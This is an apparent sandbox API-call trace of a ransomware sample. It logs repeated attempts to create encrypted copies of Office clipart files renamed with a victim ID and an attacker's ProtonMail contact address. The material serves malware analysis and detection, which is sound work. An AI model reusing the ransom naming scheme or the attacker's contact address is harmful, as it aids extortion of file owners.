1 [0259.157] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETSM.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketsm.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.157] CloseHandle (hObject=0x10bc) returned 1 [0259.215] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.215] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00256_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00256_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.216] CloseHandle (hObject=0x1280) returned 1 [0259.218] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.218] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00260_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00260_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.218] CloseHandle (hObject=0x1280) returned 1 [0259.220] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.220] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00268_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.220] CloseHandle (hObject=0x1280) returned 1 [0259.221] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.221] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00286_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00286_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.221] CloseHandle (hObject=0x1280) returned 1 [0259.222] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.222] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00298_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00298_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.223] CloseHandle (hObject=0x1280) returned 1 [0259.224] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.224] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00308_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00308_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.224] CloseHandle (hObject=0x1280) returned 1 [0259.226] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.226] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00345_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00345_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.227] CloseHandle (hObject=0x1280) returned 1 [0259.228] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.228] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00452_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.228] CloseHandle (hObject=0x1280) returned 1 [0259.229] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.229] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00712_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00712_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.230] CloseHandle (hObject=0x1280) returned 1 [0259.231] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.231] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01040_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01040_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.231] CloseHandle (hObject=0x1280) returned 1 [0259.233] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.233] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01041_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.234] CloseHandle (hObject=0x1280) returned 1 [0259.236] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.236] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01394_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.236] CloseHandle (hObject=0x1280) returned 1 [0259.238] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.238] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01395_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.238] CloseHandle (hObject=0x1280) returned 1 [0259.239] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.239] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01565_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01565_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.240] CloseHandle (hObject=0x1280) returned 1 [0259.241] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.241] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00017_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.241] CloseHandle (hObject=0x1280) returned 1 [0259.245] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.245] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00018_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.246] CloseHandle (hObject=0x1280) returned 1 [0261.060] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.060] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00152_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.060] CloseHandle (hObject=0x118c) returned 1 [0261.062] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.062] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00159_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.062] CloseHandle (hObject=0x118c) returned 1 [0261.063] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.063] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00166_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.063] CloseHandle (hObject=0x118c) returned 1 [0261.063] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.064] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00168_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.064] CloseHandle (hObject=0x118c) returned 1 [0261.065] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.065] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00170_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00170_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.065] CloseHandle (hObject=0x118c) returned 1 [0261.066] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.066] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00177_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.066] CloseHandle (hObject=0x118c) returned 1 [0261.067] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.067] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00183_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.067] CloseHandle (hObject=0x118c) returned 1 [0261.069] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.069] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00190_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.069] CloseHandle (hObject=0x118c) returned 1 [0261.070] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.070] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00191_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00191_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.070] CloseHandle (hObject=0x118c) returned 1 [0261.072] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.072] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00192_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.072] CloseHandle (hObject=0x118c) returned 1 [0261.076] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.076] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00194_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.077] CloseHandle (hObject=0x118c) returned 1 [0261.077] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.077] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00197_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.078] CloseHandle (hObject=0x118c) returned 1 [0261.079] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.080] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00199_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00199_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.080] CloseHandle (hObject=0x118c) returned 1 [0261.081] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.081] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00200_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00200_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.081] CloseHandle (hObject=0x118c) returned 1 [0261.082] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.082] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00208_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.082] CloseHandle (hObject=0x118c) returned 1 [0261.083] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.083] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 